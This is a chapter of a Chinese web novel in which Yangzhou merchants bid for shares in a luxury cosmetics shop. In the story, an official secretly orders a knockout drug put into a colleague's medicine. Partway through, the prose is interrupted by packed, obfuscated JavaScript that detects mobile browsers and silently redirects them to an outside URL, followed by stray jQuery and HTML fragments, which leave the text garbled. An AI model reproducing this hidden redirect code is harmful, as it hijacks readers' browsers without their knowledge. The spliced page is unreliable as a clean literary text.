45.纷争

栖云雅阁,天字二号房。


亥时,微雨。


赵斐面前摊着明桂枝的札记。


炭笔字用刀刻一般,比毛笔字硬气。他手指头在纸上划过,墨灰沾污指腹。


是用硬笔写就的缘故吧?“他”这字,比从前更见筋骨。


不时地,赵斐还是会怀念“他”那逸趣霭然的书法。


但这炭笔字横是横,竖是竖,像匠人描花样,看惯了,也别有味道。


烛影在墙上跳动。


赵斐又翻到一页,上头画着“花想容”的“商标”。是一个简笔画就的杨贵妃,脸庞圆圆的,梳着唐朝的堕马髻,眉目含情。


旁边还标着古怪的符号。


1、2、3……


好似道士画的符。


他认得圈圈里头是大食的数字,可为什么要画圈?


等等!


“他”惯用大食数字了?


是因为那妖妇吗?


窗外,雨点细碎。


赵斐望着瘦西湖的夜雨色,叹了口气。


罢了,如今不是吃醋的时候。


“吱嘎——”


门轴轻响。


侍墨端药进来,黑褐药汁在碗里晃荡。


“准备好了?” 赵斐问他。


“回大人,”侍墨恭敬答:“已按吩咐,放了酸枣仁等安神药材。”


“嗯,”赵斐埋首札记,断然道:“再加一剂蒙汗药。”


侍墨手一抖:“这,明大人若晓得了……”


“他知晓了的话,我担着。”


侍墨点点头,推门出去。


门合上的刹那,雨声钻进来,仿佛密密轻叹。


……


次日辰时,城南。


颜玉庄后院。


雨刚歇,地面还汪着水,映出门前乱纷纷的人影。


昨日的绸缎架子拆了一些,只留下东侧那排绯红色的。


风一吹,绸子就活了,一浪一浪地翻。


墙上新钉了檀木牌子,明大人亲笔题的“花想容”三字,黑墨发亮。


旁边还附了幅杨贵妃的简笔小画。


画中人珠圆玉润、明眸皓齿,堕马髻塌到腮边,既慵懒又华贵。


云绡阁的卢景愉和梁厚并肩走过。


他拿手肘捅捅梁厚:“哎,老梁,我想了一整宿……你瞧,这颜玉庄配货的章程:在他这儿定制一件绸衫,得搭三百两的胭脂、首饰才有名额?这不是明摆着赶客么?”


他有一堂寿眉,说话时长长眉毛跟着颤。


梁厚捋捋胡子,笑得淡:“前天那五十两的入场券,你掏钱时可没眨眼呢,‘奢侈品’嘛,讲的就是这么个派头,大家都觉得它不值当,它就值当了,懂么?”


“话虽如此……”


“你还真别觉得不值,人家蒲大官人可是花了二千两,才换得入场资格。”


“他那二千两,是认了明大人这门亲,值当得不得了!”


“眼红了?你也去认门亲呗。”梁厚朝他挤了挤眼。


卢景愉一撅嘴:“你这话说的,我和他非亲非故的……”


梁厚轻声讪笑:“谁还没个如花似玉的侄女、外甥女呢,是吧?” 还未待卢景愉回神,便笑着走远了……


那边厢,蒲承泽摇着扇子晃来,嘟囔了几句大食话,见到来人,立即换成扬州腔。


“郑爷,今个儿的船期,您可得让着小弟三分哪!”


郑昌融大嗓门一哼:“听说你是那关氏的‘舅舅’?我得求你让着才对!”


“嘿,您说我这外甥女唷!”蒲承泽巴不得到城门上贴告示认亲,亮了两嗓子,高声大笑。


“哈,我老叮嘱她低调行事,你说,我这做舅舅的嘛,也没成想攀权富贵的,就只盼我这外甥女过得好。她倒好,那条嫁妆项链,我之前惯戴的那条……”


他手放脖子上比了比,“传家宝呀,我娘死前叮嘱我,说一定要找到我这外甥女,传给她!这不,前天才传了到她手上,昨个儿就当众戴上了,唉!”


郑昌融皮笑肉不笑地“嗯”了一声。


蒲承泽爱看他吃瘪,凑上前继续说:“你知道的,我这人嘛,平日里最最谦逊、最最内敛了!我是千万个不乐意她这样的,我可不想大伙儿因我是明大人的舅丈人,就高看我、奉承我,你们可万万不能这般哦!”


说着,拍了拍郑昌融肩膀:“老蒲我,向来是脚踏实地做人的,对吧?”


“啊对对对……”


郑昌融深吸一口气,才能压下翻白眼的冲动。


“你蒲大官人最最谦虚、最最内敛了,脚踏实地做人,全扬州城都晓得。”


……


商贾们陆续落座。


微风和煦,茶气袅袅,绯绸徐徐摇曳。


绸缎商这围人特别多,早早坐满了,还加塞了两座位。


其中一座是碧蚕庄的姚仲德。


他个子矮,一身灰绸,钻进座椅十足灰鼠入笼,眼珠却亮得发光,透着精明,叫人不敢小觑。


他端茶抿一口,叹道:“明大人这颜玉庄,真是大手笔!五十两的胭脂不过是敲门砖,后头绸缎、瓷器、珠宝三件套,啧啧,真是,叹为观止,叹为观止!”


他说话时总咂嘴,仿佛在品茶,嘴一咧,大板牙露出,更像老鼠了。


顾万芝笑呵呵接话:“可不是,昨儿那场面,我这老江湖眼睛都直了。往后,让那些官夫人、官小姐们瞧着,怕是魂儿都丢了。名头打响,这颜玉庄的绸缎、珠宝、脂粉扬名海外,番邦人都抢着买,咱这行当,越来越有了盼头!”


瓷器商那桌人不多不少,刚好十人一桌。


静釉坊的卫松庭向来务实,蓝布长衫洗得发白。


他慢腾腾扯起话头:“明大人的眼光毒,这路子若成了,咱大宁货能跟波斯毯、暹罗宝石掰腕子,利不小。”


余兴宽手里的“认股计划书”翻来翻去,边角都毛了。


他低声对杨哲庸说:“老杨,‘花想容’这顶级胭脂,还得配我釉彩阁白瓷,那才叫相得益彰,你说对吧?”


杨哲庸朝对面的梁厚一瞄,压低声:“你的瓷器是好,但争得过梁厚那老狐狸?”


“总要试试。”余兴宽皱眉:“颜玉庄要成大宁顶尖牌子,衣服、器皿、首饰都有那什么线,哦,‘品牌线’!以后,海内、海外商路一开,利翻倍不止,心动,心动啊!”


“可惜我茶行没份,不然也掺一脚。”杨哲庸苦笑。


余兴宽拍他肩:“你那‘陆羽回甘’呢?能搭上颜玉庄,未必没戏。”


……


风吹过,竹叶与绯绸喃喃低语。


也似在议论这股权买卖。


卢景愉细阅认购细则:“……原东家颜茗持四成干股,前提为颜茗兼任颜玉庄‘技术顾问’,对颜玉庄‘化妆品’质量问题负全责。四成干股享受利润分红,但不得转售。若颜茗辞去‘技术顾问’,十年内不得于从事与‘化妆品’有关的行当,此乃‘竞业协议’。”


长眉下,卢景愉眸光炯炯:“绝,这法子绝!”


姚仲德问他:“绝在哪里?”


“这颜玉庄的典故承传自颜茗祖上,还有,他那死活不换方子的倔劲儿,都是颜玉庄的金漆招牌。给他四成的利钱,不比他苦苦经营好多了?如此一来,他就永远不会有二心,但凡事还怕万一……”他手指在“竞业协议”四字点了点,“这四成是干股,他不能卖,而且还有‘竞业协议’,彻底防住他另起炉灶的心思!”


姚仲德颔首称是。


卢景愉又叹:“你再看这里:颜玉庄其余六成实股拆开认购,除关氏持股一成,其余分:绸缎行业二成,瓷器二成,珠宝一成……这三类货品,全是讲究稀缺、珍奇之物,亦即明大人所谓的‘奢侈品’,三者相辅相成,这大宁的顶级‘奢侈品’,指日可待呀!”


姚仲眼珠子一溜,“若是,能把关氏那一成的股权也包全了……”他咂咂嘴,仿佛已尝到甜头。


“你想得美,”卢景愉点醒他:“若不是为了关氏,明大人未必兑颜玉庄这铺子。”


“也不知道这姓关的妖妇有什么手段,倪家二郎纨绔一个,着她的道就罢了,可明大人这样聪睿机敏的,竟也被她迷住……”


“情人眼里出西施,况且关氏实在绝色。”


“可她那性子也太泼了点,”姚仲德又“啧”了一声:“昨日那发布会上,一言不合就冷言相对,连赵大人的面子也拂,啧啧啧!”


卢景愉一笑:“说不准明大人就爱泼辣的?”


“男人哪有不爱温柔小意的……呀,我晓得了!”


“你晓得什么?”


“他不是爱辣的……”姚仲德抬高眉毛,低声呼道:“他爱的是那种雪肤碧眼的番妇!”


“那又如何?”卢景愉瞥他一眼:“你也有大食的外甥女?”


“哎呀,我怎就不能有呢?巧了不是?我还真有,大食的、罗刹的都有,蓝眼睛、高鼻子,还金发的呢!”


“呀,那我等你好消息。”


……


伙计陆续添茶,并奉来点心。


言谈间,有人话里有话。


顾万芝转向罗绍环,笑呵呵问:“罗翁,您是绸缎行泰斗,这两成股份,您怎么看?”


罗绍环白发瘦脸,着的墨绿长袍。


他面无表情,只淡淡道:“老夫年岁大了,如此大事,还是留给你们年轻人吧。”


卢景愉插话:“罗翁谦虚,您绮绣坊的融光缎谁人不知?您要是出手,我们这桌的都只能作您陪衬?” 他紧紧盯着罗绍环看,似要找出端倪。


“听说……”姚仲德笑得狡:“绮绣坊新弄了一款月光缎,银光闪闪的,若搭上颜玉庄的名号,那还不大杀四方?罗翁,您真舍得放手?”


罗绍环眼皮抬抬,没吭声。


……


风顿住了。


绯绸静止摇曳,如红色幕布。


仆役高喊“赵大人到——”


声音拖得老长,似足扬州评话里的叫板,一下传遍院子。</


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15357917|160291||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


p>


满院商贾顿时活泛起来,起身抖衣袍、理袖子,拍着衣袍上并不存在的灰,而后你推我搡往外涌,迎在了院子入口处。


蒲承泽站在人群里,折扇抖开半幅。他瞥了郑昌融一眼。郑昌融黑壮的身子往那儿一杵,如庙里的一尊金刚。


两人目光一碰,郑昌融嘴角微扬,露出一丝不咸不谈的笑。蒲承泽的扇子“啪”地合上了,也回了个笑。


赵斐一身青袍官服走来,腰间悬着太府寺的鱼符,一晃一晃,却更衬得他气势沉稳,步履从容。


方靖跟在他后头,穿一袭宝蓝圆领袍,步子轻快,掀过一阵风,衣角翻飞。


商贾们伸长了脖子,左顾右盼,偏不见明桂枝。


“明大人呢?”


“状元郎怎的不来?”


“难不成这认购会不开了?”


“似了,谁舍得这到手的肥肉,大约是逗我们玩儿呢!”


众人窃窃私语。


纷纷话音里,赵斐已经走到东侧的主席台前。


这主席台是临时搭的,就是把账房里的榆木书案抬了出来,裹了层绛红色的绸子。


风一过,那绸子便簌簌地抖。


台面上还摆着铜锣,旁边放了两杯茶盏。


众人陆续回到席里。


大家目光都聚到这主席台。


有人撇嘴:“搭得寒碜了些,衬不上明大人的派头。”


也有人点头:“还挺别致,这绛红刺眼,倒把目光都引过去了。”


……


赵斐站定拱手。


“诸位,明大人染恙,今日由赵某代劳。”


声音不疾不徐,似寒山寺的晨钟。


威严,但听着舒坦。


片刻,台下一阵骚动。


有人压低嗓子嘀咕:“明大人不来,这认购会还有啥看头?”


“确实,少了明大人那点金手,没看头,没看头……”


也有人担忧:“这颜玉庄的股权是在明大人手里,这赵大人拍案的事,衙门能认么?”


“有道理,有道理,得三思,三思!”


……


但赵斐冷咳一声,眼角一扫,众人竟立刻噤了声。


他这才接着道:“明大人既托付于我,必不叫诸位失望。”话说得沉稳,似块压舱石,将乱晃的船镇住。


底下的人虽静了,却还有几双眼睛盯着他,掂量他这话的斤两。


……


竞标开始了。


赵斐“咣”地一敲铜锣,震得他身后的绯绸都抖了抖。


他沉声道:“绸缎庄二成股份,起价五千两,每回喊价一百两。”


话音刚落,顾万芝率先举牌,声音慢悠悠却掷地有声:“五千一百两!”微胖的身子裹在锦袍里,笑得像个老狐狸。


卢景愉长脖子一抻,喊道:“五千五百两!”长眉一挑,眼光直直看向顾万芝,十足挑衅。


姚仲德也不甘示弱,大喊:“五千六百两!”他个子矮,嗓门却大,眼露精光,活像鹞鹰盯上黄雀。


场子里顿时开了锅。


你加一百,我添两百。


甚至,有人一喊就是五百两。


喊价码的节奏划龙舟,一桨比一桨更快。


顾万芝喊得浑身冒汗,腋下全是汗渍。却偏偏,手里的喊价牌子举得稳稳当当。


“八千两五百两!”


众人一时被唬住。


“想清楚啊,诸位!” 顾万芝环顾四周,一字一顿道:“再加,就不值当了!”


“就加,我偏就加!”姚仲德大吼一声:“老子今天陪你玩命了,亏钱我也加!”


这两人本就有旧怨。


话说三年前,他们同时相中徐州一处养桑的沃土。顾万芝使了些巧劲买下那块地,也借机扩展了丝韵轩产生丝的规模,抢了姚仲德不少客源。


姚仲德自然忿忿不平,从此两人结下梁子。


有道是:往日有仇,今日有怨。


姚仲德心里早憋着一团火,眼下见顾万芝频频加价,再也压不住怒气。


他冷笑一声:“顾万芝,你那点家底也配?趁早滚回乡下织粗布吧!”


“啪”!


继而一摔茶盏,瓷片四溅。


“哎,你这人……狗咬吕洞宾,不识好人心!”顾万芝也来了气,朝他竖眉瞪眼:“我好心好意劝你三思,你还气上了?你自个好好算算账,掂量掂量清楚,你那破落铺子,卖了也不值当八千五百两!”


“今个儿,你姚爷爷我就算卖了铺子,我也要跟你顶价!”


“疯子,你个疯子!”


“八千六百两!” 姚仲德一拍席案:“爷我志在必得!”


“哎呀呀,你才加一百两,摆什么阔?简直寒酸!” 顾万芝嗤笑一声:“你顾爷我今天让你开开眼,瞧瞧什么是阔气!”


他大喊:“九千两!还有谁跟?”


满院霎时人声鼎沸。


门外,城南的叫卖声都被比了下去。


……